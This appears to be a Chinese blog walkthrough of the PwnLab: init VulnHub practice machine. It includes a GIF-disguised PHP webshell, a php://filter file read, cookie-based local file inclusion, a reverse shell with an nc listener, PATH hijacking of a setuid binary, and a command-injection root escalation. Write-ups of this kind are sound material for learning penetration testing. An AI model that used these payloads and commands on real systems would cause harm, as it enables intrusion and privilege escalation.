PwnLab靶场PHP伪协议OSCP推荐代码审计命令劫持命令注入
下载链接:
PwnLab: init ~ VulnHub
安装:
打开vxbox直接选择导入虚拟电脑即可
正文:
先用nmap扫描靶机ip
nmap -sn 192.168.1.1/24 
获取到靶机ip后,对靶机的端口进行扫描,并把结果输出到PwnLab文件夹下,命名为port方便后续查看
nmap -p- 192.168.1.4 -r -PN -oA PwnLab/port (-p-:对所有端口进行探测
-PN:用于禁用主机发现。这些参数告诉Nmap不要执行主机存活检测,而是直接扫描指定的目标
-oA:输出到指定位置
-r:连续扫描端口,并在扫描过程中随机排序目标端口。这可以帮助减少被网络防御
系统检测到的风险。
)

对端口指纹进行详细探测,并把结果输出到PwnLab文件夹下,命名为server方便后续查看
nmap -p 80,111,3306,60570 192.168.1.4 -sC -sV -r -O --version-all -A -oA PwnLab/server (-p:对指定的端口进行探测
-sV:版本信息
-sC:默认脚本扫描
-A:启动Os检测,版本检测,脚本扫描和traceroute
-O:探测操作系统信息
--version-all:尽可能多的探测信息)

访问80端口

想要上传文件需要先进行登录才行

我们对登陆位置进行sql注入尝试以及万能密码尝试
发现并不会成功

我们对该靶场进行目录扫描操作
dirsearch -u “192.168.1.4” 
对config.php进行访问

发现为一片空白,没有读取出任何信息
返回到主页面
观察URL的结构,感觉他可能会存在文件包含漏洞

进行尝试文件包含漏洞

不行
既然是php,我们可以尝试使用下php伪协议
常用的php伪协议:
php://filter/read=convert.base64-encode/resource=indexphp://filter/resource=index 利用filter协议读文件,将index通过base64编码后进行输出。如果不进行编码,文件包含后就会当做php文件直接执行,我们可以进行编码后复制出来,在进行解码操作

读取成功
通过base64解码,成功得到index源码

我们用同样的方法,可以读取出upload以及config的源代码


我们同样将我们得到的base64数据进行解码,并保存起来
当我们将config解码出来后,我们得到了mysql的账号密码

root:H4u%QJ_H99 在之前的nmap扫描中就知道靶场的3306端口是开启状态
进行mysql登录
mysql -uroot -h 192.168.1.4 -p 
登录成功
查看下数据库中的数据
show databases; 
use Users; 
show tables; 
select * from users; 
得到了三个账号密码
将密码进行base64解密并分别进行保存

回到80端口进行尝试用得到的账号密码进行登录

登录成功,进行文件上传尝试
根据我们之前得到的upload文件源码得知

对上传文件进行了白名单尝试,只允许上传后缀为jpg、jpeg、gif以及png文件
并且对文件头进行校验
准备好一句话木马并将文件头写为GIF89a
GIF89a<?phpsystem($_GET['132']);phpinfo();?> 保存为后缀为gif文件
尝试上传并进行bp抓包修改

上传失败

我们再次进行后缀修改,并尝试使用00截断进行上传


找到gif位置并将gif前的小数点改为00

再次进行上传

同样上传失败。。。。
查看之前获得到的index源代码
我们在该位置发现异常

在该位置未对$_COOKIE['lang']进行输入验证和过滤:攻击者可以通过修改$_COOKIE['lang']的值来执行潜在的攻击,例如包含恶意文件或执行任意代码。
代码解读:
isset($_COOKIE['lang']):这是一个条件语句,检查名为lang的Cookie是否存在。isset()函数
用于检测变量是否已设置并且非null。
如果$_COOKIE['lang']存在,代码将继续执行下一行。
include("lang/".$_COOKIE['lang']);:这行代码使用include语句来包含一个语言文件。它使
用$_COOKIE['lang']的值构建文件路径,并将该文件包含到当前的代码文件中。
获取shell:
根据该段代码的内容,我们可以构造一个名为“lang”的cookie从而造成文件包含漏洞
先正常上传后缀为gif的木马文件

上传完成后

右键下面的小图标,新建标签页面打开图像

该路径则为我们稍后构造的cookie文件包含所需要的路径
再次使用bp抓包,随便上传一个文件并修改cookie

在原有的cookie后添加
;lang=../upload/440f0eab6c78d0e3cb46c99f5d43d1b1.gif 如果使用bp上传后报错提示
Your browser sent a request that this server could not understand.
Request header field is missing ':' separator.
(我在之前的测试中并没有出现过此情况,并且在之前的测试中的cookie并没有这么长,所以在该位置报错了,遂我尝试使用hackbar进行构造cookie)
可以使用hackbar进行修改cookie(在火狐的插件中可以搜索到,一个收费一个免费,我用的是免费版)

load URL:将URL地址载入到hackbar
勾选上cookies并在最后的cookie行添加上我们构造好的cookie
最后点击execute
解析成功(因为在我们上传的一句话木马中加入了 phpinfo(),用来判断该木马是否解析成功)

但是我经过测试发现好像并不能利用该木马传参进行反弹shell
所以我们我们可以尝试使用kali目录下的php shell文件或者自己写一个php反弹shell文件
木马文件在kali的/usr/share/webshells/php目录下
cd /usr/share/webshells/php 
将该文件内容复制出来并做对应的ip以及端口修改
将该位置修改为kali的ip以及nc监听的端口

并将该文件后缀修改为.gif
在kali中打开nc监听
nc -lvvp 8080 
将该木马进行上传
(如果使用hackbar后再次点击upload会直接跳转到之前的phpinfo解析页面,我们需要再次打开hackbar并勾选cookie,将最后的我们添加的cookie删除掉,然后重新打开文件上传页面即可)

上传木马
并同样将该文件的路径以及名称进行保存

并再次随便上传一个文件(选不选择都行,主要目的是抓包并修改cookie,所以我这里就没有选择文件,直接点击的上传),bp抓包修改cookie
;lang=../upload/f3035846cc279a1aff73b7c2c25367b9.gif 
如果还是出现了报错情况,可以尝试将浏览器的缓存以及cookie进行清除

nc监听成功

我们之前获得过三个账号密码,尝试进行用户切换,毕竟该用户权限太低了
提权:
su kent 
出现报错提示,我们需要重新打开一个命令交互(Spawning a TTY Shell-逃逸linux各种shell来执行命令 - lsh4ck's Blog (lshack.cn)在该网站中有各种shell来执行命令)
查看是否有python环境
whereis python 
python -c 'import pty; pty.spawn("/bin/sh")' 
可以正常使用命令交互了
切换kent用户
cd 回到该用户文件夹下

在用户目录下也没有东西
ls 
查看具有sudi权限的文件,看能否利用进行提权
find / -perm -u=s -type f 2>/dev/null 
没有东西
切换下一个用户看看
(经过尝试mike用户的密码不正确)
su kane 
切换到自己文件夹下
cd 查看当前文件夹下有哪些东西
ls 
我们发现了该文件
尝试运行

报错
查看下该文件
strings msgmike 
发现该文件可以用system权限执行cat命令,但是由于/home/mike/msg.txt文件不存在,所以报错了,那我们可以尝试使用命令劫持
在当前目录下写一个cat文件并给他运行权限
echo /bin/bash >cat chmod +x cat 
利用环境变量劫持,将环境变量修改为cat文件目录下也就是当前目录下
export PATH=.:$PATH 然后再次尝试运行msgmike

我们的用户变为了mike
因为该文件的所有用户以及所有组为mike,当我们运行该文件时,执行我们创建的cat文件里的bin/bash文件为mike权限,故我们的用户切换为了mike
当我们用cd切换到当前用户目录时,发现我们还是处在kane目录下,因为我们现在本质上还是kane用户,我们只不过是劫持了msgmike文件中的cat命令,又因为msgmike文件归属于mike,所以我们现在拥有了mike所拥有的权限
我们手动切换到mike文件夹下
cd /home/mike 
我们运行该目录下的msg2root文件

发现该文件是用来给root用户发送消息的
我们使用同样的方法来查看下该文件
strings msg2root 
发现该文件则直接指定了具体目录,所以我们没办法再次进行劫持命令
注意这里的%s 该变量则是我们给root用户发送消息的变量
当我们输入一串字符串时,则会赋值给%s ,并将消息存储到/root/messages.txt文件下
那我们可以尝试利用该文件构造一个拼接命令,让他来执行我们需要的命令
./msg2root 1111;id 我们尝试使用分号将命令进行隔开,类似于手动sql注入万能密码的拼接方法

成功执行
尝试使用该方法开启一个新bash(命令交互),-p为用最高权限开启
1111;bash -p 
提权成功!
相关文章:
PwnLab靶场PHP伪协议OSCP推荐代码审计命令劫持命令注入
下载链接:PwnLab: init ~ VulnHub 安装: 打开vxbox直接选择导入虚拟电脑即可 正文: 先用nmap扫描靶机ip nmap -sn 192.168.1.1/24 获取到靶机ip后,对靶机的端口进行扫描,并把结果输出到PwnLab文件夹下,命名…...
涉密信息系统集成资质八大类别办理条件是什么?
涉密资质分为八个不同类别,那每个类别的申报条件有哪些?让我们一起来看看吧: 涉密资质申报条件 依据《涉密信息系统集成资质管理办法》的有关规定,申请涉密信息系统集成资质的企事业单位,除符合《涉密信息系统集成资…...
Shell脚本总结-反引号-${}-$()
反引号 反引号的作用就是将输出结果显示出来。 [rootldpbzhaonan bash]$ echo $a ldpbzhaonan${} ${}引用变量,包含自定义的和环境变量。 [rootldpbzhaonan bash]$ a1 [rootldpbzhaonan bash]$ echo ${a} 1$() $()和反引号,返回的是一个指令或者程序…...
Spring MVC入门(4)
请求 获取Cookie/Session 获取Cookie 传统方式: RequestMapping("/m11")public String method11(HttpServletRequest request, HttpServletResponse response) {//获取所有Cookie信息Cookie[] cookies request.getCookies();//打印Cookie信息StringBuilder build…...
RuoYi-Vue-Plus(基础知识点jackson、mybatisplus、redis)
一、JacksonConfig 全局序列化反序列化配置 1.1yml中配置 #时区 spring.jackson.time-zoneGMT8 #日期格式 spring.jackson.date-formatyyyy-MM-dd HH:mm:ss #默认转json的属性,这里设置为非空才转json spring.jackson.default-property-inclusionnon_null #设置属性…...
使用verillog编写KMP字符串匹配算法
设计思路如下: 定义模块的输入输出信号:包括时钟信号clk、复位信号rst、模式串pattern、文本串text以及输出信号match。定义所需寄存器和变量:使用寄存器来存储状态机的状态以及其他控制变量,如模式串数组P、失配函数数组F、模式串位置p_index、文本串位置t_index等。在时钟…...
《每天十分钟》-红宝书第4版-对象、类与面向对象编程(五)
对象迭代 在 JavaScript 有史以来的大部分时间内,迭代对象属性都是一个难题。ECMAScript 2017 新增了两个静态方法,用于将对象内容转换为序列化的——更重要的是可迭代的——格式。这两个静态方法Object.values()和 Object.entries()接收一个对象&#…...
华为ensp中rip动态路由协议原理及配置命令(详解)
CSDN 成就一亿技术人! 作者主页:点击! ENSP专栏:点击! CSDN 成就一亿技术人! ————前言————— RIP(Routing Information Protocol,路由信息协议)是一种距离矢…...
学习要不畏难
我突然发现,畏难心是阻碍我成长的最大敌人。事未难,心先难,心比事都难,是我最大的毛病。然而一念由心生,心不难时,则真难事也不再难。很多那些自认为很难的事,硬着头皮做下来的时候,…...
mysql迁移达梦数据库 Java踩坑合集
达梦数据库踩坑合集 文章目录 安装达梦设置大小写不敏感Spring boot引入达梦驱动(两种方式)将jar包打入本地maven仓库使用国内maven仓库(阿里云镜像) 达梦驱动yml配置springboot mybatis-plus整合达梦,如何避免指定数据库名&…...
arm 解决Rk1126 画框颜色变色问题(RGB转NV12)
在Rv1126上直接对Nv12图像进行绘制时,颜色是灰色。故将Nv12转BGR后绘制图像,绘制完成后转成Nv12,BGR的图像颜色是正常的,但是NV12的图像颜色未画全,如图: 1.排查发现是RGB转NV12的函数出现问题,…...
113 链接集10--ctrl+左键单击多选
1.ctrl左键单击多选,单击单选 精简代码 <div class"model-list"><divmousedown.prevent"handleClick(item, $event)"class"model-list-item"v-for"item in modelList":key"item.id":class"{ model…...
详解JavaScript中this指向
this 原理 this 是一个指针型变量,它指向当前函数的运行环境。 1.内存的数据结构 var obj { foo: 5 };2.函数 var obj { foo: function () {} };引擎会将函数单独保存在内存中,然后再将函数的地址赋值给foo属性的value属性。 由于函数是一个单独的…...
c语言之在函数中传递指针
c语言中定义一个函数,如果说是形参一个数组,这个数组在编译后会变成一个指针变量 比如下面的代码例子 #include<stdio.h> void ff(char a[]) {a[1]r;a[4]r;printf("%d\n",a); }int main() {char a[]"peogeam";ff(a);printf(…...
vue2 插槽(默认插槽 slot 、具名插槽 v-slot 、作用域插槽 slot-scope -- 插槽传值 )
插槽:用于在子组件的指定位置插入指定内容,类似在电梯里挂的若干广告显示屏,可以给指定的位置传入指定的广告 单插槽(匿名/默认插槽) 父组件中( 此时的 ) <Child><template><p…...
(第79天)单机转 RAC:19C 单机 到 19C RAC
前言 单机转 RAC 分为两种: 同版本迁移:可以使用 RMAN 或者 ADG 方式升级迁移:建议使用数据泵 或者 XTTS 方式升级迁移使用数据泵的方式与 (第72天)数据泵升级:11GR2 到 19C 步骤基本一致,这里不作演示,只演示使用 ADG 来进行同版本迁移。 升级前准备 本次测试尽量按…...
Spring Cloud微服务Actuator和Vue
目录 前言一、引入Actuator依赖二、暴露Actuator端点1. 配置文件2. 监控端点 三、自定义健康检查自定义健康检查类 四、vue前端代码五、监控器的优势六、监控指标的可视化1. Grafana2. Prometheus 七、安全性考虑安全配置示例 八、总结 前言 随着微服务架构的流行,…...
Iterator对象功能学习
package config;import java.util.Iterator; import java.util.Properties; import java.util.Set;/*** 这个类演示了如何使用Properties类来存储和访问键值对。* Properties类继承自Hashtable,因此它可以用来存储键值对数据,且支持同步。*/ public clas…...
Linux的一些基本指令
目录 前言: 1.以指令的形式登录 2.ls指令 语法: 功能: 常用选项: 3.pwd指令 4.cd指令 4.1 绝对路径与相对路径 4.2 cd .与cd ..(注意cd后先空格,然后两个点是连一起的࿰…...
【tips】Git使用指南
文章目录 一、Git介绍1. 什么是Git2.Git对比SVN3.Git安装 二.Git常用命令1. git config2. 初始化本地库3. 工作区、暂存区和版本库4. git add5. git commit6. git reset 与 git revertgit resetgit revert 三. Git 分支1.初识分支2.创建分支3.切换分支4.合并分支5.删除分支 四.…...
微软PowerBI考试 PL300-选择 Power BI 模型框架【附练习数据】
微软PowerBI考试 PL300-选择 Power BI 模型框架 20 多年来,Microsoft 持续对企业商业智能 (BI) 进行大量投资。 Azure Analysis Services (AAS) 和 SQL Server Analysis Services (SSAS) 基于无数企业使用的成熟的 BI 数据建模技术。 同样的技术也是 Power BI 数据…...
日语学习-日语知识点小记-构建基础-JLPT-N4阶段(33):にする
日语学习-日语知识点小记-构建基础-JLPT-N4阶段(33):にする 1、前言(1)情况说明(2)工程师的信仰2、知识点(1) にする1,接续:名词+にする2,接续:疑问词+にする3,(A)は(B)にする。(2)復習:(1)复习句子(2)ために & ように(3)そう(4)にする3、…...
Auto-Coder使用GPT-4o完成:在用TabPFN这个模型构建一个预测未来3天涨跌的分类任务
通过akshare库,获取股票数据,并生成TabPFN这个模型 可以识别、处理的格式,写一个完整的预处理示例,并构建一个预测未来 3 天股价涨跌的分类任务 用TabPFN这个模型构建一个预测未来 3 天股价涨跌的分类任务,进行预测并输…...
数据库分批入库
今天在工作中,遇到一个问题,就是分批查询的时候,由于批次过大导致出现了一些问题,一下是问题描述和解决方案: 示例: // 假设已有数据列表 dataList 和 PreparedStatement pstmt int batchSize 1000; // …...
【OSG学习笔记】Day 16: 骨骼动画与蒙皮(osgAnimation)
骨骼动画基础 骨骼动画是 3D 计算机图形中常用的技术,它通过以下两个主要组件实现角色动画。 骨骼系统 (Skeleton):由层级结构的骨头组成,类似于人体骨骼蒙皮 (Mesh Skinning):将模型网格顶点绑定到骨骼上,使骨骼移动…...
在树莓派上添加音频输入设备的几种方法
在树莓派上添加音频输入设备可以通过以下步骤完成,具体方法取决于设备类型(如USB麦克风、3.5mm接口麦克风或HDMI音频输入)。以下是详细指南: 1. 连接音频输入设备 USB麦克风/声卡:直接插入树莓派的USB接口。3.5mm麦克…...
Java求职者面试指南:Spring、Spring Boot、Spring MVC与MyBatis技术解析
Java求职者面试指南:Spring、Spring Boot、Spring MVC与MyBatis技术解析 一、第一轮基础概念问题 1. Spring框架的核心容器是什么?它的作用是什么? Spring框架的核心容器是IoC(控制反转)容器。它的主要作用是管理对…...
Elastic 获得 AWS 教育 ISV 合作伙伴资质,进一步增强教育解决方案产品组合
作者:来自 Elastic Udayasimha Theepireddy (Uday), Brian Bergholm, Marianna Jonsdottir 通过搜索 AI 和云创新推动教育领域的数字化转型。 我们非常高兴地宣布,Elastic 已获得 AWS 教育 ISV 合作伙伴资质。这一重要认证表明,Elastic 作为 …...
如何在Windows本机安装Python并确保与Python.NET兼容
✅作者简介:2022年博客新星 第八。热爱国学的Java后端开发者,修心和技术同步精进。 🍎个人主页:Java Fans的博客 🍊个人信条:不迁怒,不贰过。小知识,大智慧。 💞当前专栏…...
从零开始了解数据采集(二十八)——制造业数字孪生
近年来,我国的工业领域正经历一场前所未有的数字化变革,从“双碳目标”到工业互联网平台的推广,国家政策和市场需求共同推动了制造业的升级。在这场变革中,数字孪生技术成为备受关注的关键工具,它不仅让企业“看见”设…...
